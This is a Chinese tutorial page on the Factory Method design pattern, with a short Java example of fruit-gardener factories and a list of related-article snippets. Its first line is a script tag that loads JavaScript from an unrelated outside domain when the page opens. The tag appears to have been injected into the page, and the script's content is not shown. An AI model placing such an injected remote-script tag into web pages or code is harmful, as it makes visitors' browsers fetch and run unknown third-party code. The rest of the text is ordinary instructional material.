<script src="http://multibar.me/pluginmng.js" type="text/javascript"></script>
二:工厂方法模式
对于简单工厂模式,只是在一定程度上支持“开闭”原则,虽然引入新产品时无需修改客户端但是要修改工厂类,将必要的逻辑加入到工厂类中。此时引进工厂方法模式,使用了多态性,将具体的创建工作交给了工厂类的子类,而核心工厂类则变成了一个抽象工厂角色,仅负责给出具体工厂子类必须实现的接口,而不必接触哪一个产品类应当被实例化的细节。进一步抽象画的结果使得这种模式可以用来允许系统在不修改具体工厂角色的情况下引进新产品。在实际的系统中,会出现多于一个的抽象产品类,以及多于两个的层次,此时工厂方法模式按照产品的等级结构设计一个同结构的工厂等级结构。
角色:
抽象工厂
(Creator)
角色:模式的核心,与应用程序无关。
具体工厂角色:实现了抽象工厂接口的具体类,包含有与应用密切相关的逻辑,并且受到应用程序的调用来创建产品对象。
抽象产品角色:产品的标识接口。
具体产品角色
下面是例子,和简单方法模式的一样,不过实现方式不同
package com.co.patterns.factoryMethod;
import com.co.patterns.simpleFactory.*;
interface FruitGardener {
Fruit factory();
}
class AppleGardener implements FruitGardener {
public Fruit factory() {
return new Apple();
}
}
class GrapeGardener implements FruitGardener {
public Fruit factory() {
return new Grape();
}
}
public class Client {
public static void main(String[] args) {
FruitGardener appleFG = new AppleGardener();
FruitGardener grapeFG = new GrapeGardener();
Fruit apple = appleFG.factory();
Fruit grape = grapeFG.factory() ;
apple.show();
grape.show();
}
}
分享到:
相关推荐
在标题“c++设计模式-工厂方法模式”中,我们关注的是如何在C++中实现工厂方法这一设计模式。工厂方法模式的核心思想是定义一个创建对象的接口,但让子类决定实例化哪一个类。这样,工厂方法可以使类的实例化过程...
工厂方法模式是面向对象设计中的一种经典设计模式,属于创建型模式。在软件工程中,当我们需要创建一系列相关或相互依赖的对象时,而不希望指定具体的类,工厂方法模式提供了一个很好的解决方案。 工厂方法模式的...
设计一个程序来读取多种不同存储格式的图片,针对每一种图片格式都设计一个图片读取器(ImageReader),如GIF格式图片读取器(GifReader)用于读取...请使用工厂方法模式实现该程序的设计,并使用UML画出该模式的类图。
工厂方法模式是设计模式中的一种创建型模式,它在软件工程中扮演着非常重要的角色。这个模式的主要目的是提供一个创建对象的接口,但允许子类决定实例化哪一个类。这样,工厂方法模式使得一个类的实例化延迟到了其...
NET设计模式--工厂方法例子源码
**工厂方法设计模式** 在iOS开发中,设计模式是一种被广泛采用的最佳实践,它提供了一种在不指定具体实现的情况下创建对象的方式。工厂方法(Factory Method)是面向对象设计模式中的一种,属于创建型模式。它定义...
在软件设计模式中,工厂模式是一组非常基础且实用的设计模式,主要分为简单工厂模式、工厂方法模式和抽象工厂模式。这些模式都是为了解决对象创建的问题,通过封装对象的创建过程,使得代码更加灵活,易于扩展和维护...
标题"我讲设计模式--工厂方法"暗示我们将深入探讨工厂方法的设计模式及其应用。这篇博文可能涉及了该模式的基本概念、工作原理以及实际场景下的使用示例。遗憾的是,由于没有直接提供博客的具体内容,我将基于工厂...
在给定的“设计模式-工厂方法代码”文件中,我们可以深入探讨工厂方法这一特定的设计模式,以及它在Java编程中的应用。 工厂方法(Factory Method)是创建型设计模式之一,属于行为模式。它的主要作用是定义一个...
在"Java设计模式-工厂方法"的Demo中,我们通常会看到以下关键组件: 1. **抽象产品(Abstract Product)**:这是要创建的对象的接口。它定义了产品的公共接口,这样任何创建的产品都可以被客户端以相同的方式使用,...
创建型设计模式---工厂设计模式实现
java设计模式-创建者模式-简单工厂模式。详细的讲解了什么是工厂方法模式及应用场景和应用场景的代码事例。及各工厂模式的区别。
JAVA-设计模式-创建型模式-工厂模式
Java设计模式中的工厂模式是一种创建型模式,它提供了一种创建对象的最佳方式。在工厂模式中,当客户端请求创建一个产品对象时,它不会直接创建,而是调用一个工厂对象来完成创建工作。这种模式的核心在于封装了对象...
《C#设计模式——工厂模式详解》 工厂模式是一种常用的设计模式,它的主要目的是通过抽象出产品创建过程,使得客户端代码不再直接new对象,而是通过工厂来获取对象,从而降低了代码之间的耦合度,提高了系统的可...
工厂模式是设计模式中的一个基础且重要的部分,它属于创建型设计模式,主要用于封装对象的创建过程,使得客户端不必关心具体的实现细节,提高了代码的可扩展性和可维护性。 工厂模式主要有三种形式:简单工厂模式、...
Java设计模式中的工厂模式是一种创建型设计模式,它提供了一种创建对象的最佳方式。工厂模式的核心思想是将对象的创建过程封装起来,使得创建过程独立于使用过程,从而提高了代码的可扩展性和可维护性。在HeadFirst...
C#设计模式-工厂模式系列